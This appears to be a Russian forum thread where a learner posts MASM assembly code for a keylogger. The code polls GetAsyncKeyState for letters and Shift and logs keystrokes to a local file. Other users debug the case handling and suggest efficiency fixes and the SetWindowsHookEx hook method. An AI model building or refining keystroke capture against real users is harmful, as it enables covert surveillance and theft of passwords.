Здравствуйте, мне требуется написать клавиатурный шпион путем проверки состояния клавиш через WinAPI GetSyncKeyState. Ниже представленный код по задумке должен "перехватывать" клавиши A-Z, а так же различать их регистр путем "перехвата" клавиши SHIFT. Проблемы: 1. При нажатие клавиши Shift только самый первый символ устанавливается в верхний регистр, остальные в нижнем, те если зажать и не отпускать клавишу Shift - в верхнем регистре запишется 1-ый символ, остальные в нижнем. Верхний регистр всех клавиш можно получить только если перед нажатием клавиши зажать Shift и отпустить после. Данную ошибку не вижу( 2. Если не сложно, то общие замечания по реализации. (только учусь) Код (Text): .386 .model flat, stdcall include \masm32\include\windows.inc include \masm32\include\user32.inc include \masm32\include\kernel32.inc includelib \masm32\lib\user32.lib includelib \masm32\lib\kernel32.lib .data log_path db "log.txt", 0 .data? ascii_code db ? .code start: get_key proc local vk_code :byte local shift_down :byte jmp update get_regkey: invoke GetAsyncKeyState, 10h cmp al, 0 jz get_vk mov shift_down, 1 get_vk: inc vk_code cmp vk_code, 5Bh jz update invoke GetAsyncKeyState, vk_code cmp al, 0 jz get_regkey cmp shift_down, 1 jz exit add vk_code, 20h exit: mov al, vk_code mov ascii_code, al call write_log update: mov vk_code, 40h jmp get_regkey get_key endp write_log proc local hFile :dword local buf :dword invoke CreateFile, addr log_path, GENERIC_WRITE, 0, 0, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, 0 mov hFile, eax invoke SetFilePointer, hFile, 0, 0, FILE_END invoke WriteFile, hFile, addr ascii_code, SIZEOF ascii_code, addr buf, 0 invoke CloseHandle, hFile call get_key write_log endp end start Ключи: Код (Text): ml /c /coff /Cp src.asm link /SUBSYSTEM:WINDOWS src.obj Спасибо за внимание.
Это сделать, безусловно, нужно, но первую проблему это не решит. churik Внимательно посмотри на описание функции GetAsyncKeyState. В частности, на описание и тип возвращаемого значения. Реализация выглядит очень своеобразно.
Спасибо, добавил Код (Text): ... update: ... mov shift_down, 0 ... Помогло) Вам огромное спасибо, я не обратил на это внимание - теперь проверяя состояние Shift'а, проверяю значение старшего байта возвращаемого значения, проверяя статус клавиш - проверяю значение младшего байта. Но у меня все же возникло несколько вопросов: 1. Если верить прототипу ф-ции GetAsyncKeyState, то входные данные должны быть word, но я отправляю byte и усе норм, почему? 2. Программа при работе занимает ~50% мощности двух-ядерного процессора на 32х разрядной ОС WIndows XP Pro SP3 => ~100% мощности на одно-ядерном процессоре на 32x WinXP Pro SP3. Когда вызываю WinAPI Sleep, 100d после меток get_regkey: или get_vk: - программа перестает работать должным образом. Как уменьшить нагрузку на ЦП, не нарушая работу программы? 3. Sol_Ksacap, что Вы подразумевали под этим? Для меня это очень важно) Спасибо за внимание)
1. Ох, и правда. Честно говоря, я не знаю, как масм обрабатывает эту ситуацию при ассемблировании... Ага, посмотрел: корректно обрабатывает, но использует лишнюю требуху. Код (Text): push word 0 mov al, vk_key ; mov al, [ebp + xx] movzx ax, al push ax call GetAsyncKeyState Т.е. стек выровнен на границу двойного слова — всё нормально. С другой стороны, если объявить vk_key как dword, то всё станет проще: Код (Text): push vk_key ; push [ebp + xx] call GetAsyncKeyState или, вариант: mov eax, vk_key ; mov eax, [ebp + xx] push eax call GetAsyncKeyState 2. Нет идеи. Хотя... Можно, конечно, попробовать каждый раз, проверив все клавиши, засыпать на десяток-другой миллисекунд — но это, опять-таки, не добавит надёжности. Ещё можно вызывать GetAsyncKeyState с параметром VK_SHIFT не постоянно, а только после того, как было однозначно определено нажатие на буквенную клавишу (это сократит время на проверку одного буквенного диапазона почти в 2 раза). И последнее — открыть лог-файл для записи в начале исполнения программы, закрыть при выходе. Экономия в три системных вызова при каждой записи символа. Немного на фоне постоянного дёрганья GetAsyncKeyState, но тем не менее кое-что. Один, скорее всего, осознаёт о полной смене метода, однако всё же следует упомянуть: SetWindowsHookEx. 3. Это мы к тому, что тот же метод можно было реализовать несколько проще (нагляднее) и немного эффективнее (вызывать GetAsyncKeyState(VK_SHIFT) меньшее число раз). Хотя несколько времени прошло и один, возможно, уже переписал процедуру. Ага, вот ещё что — было бы нагляднее, если б вместо некоторых числовых констант в коде использовались бы символьные (например, VK_SHIFT вместо 10h).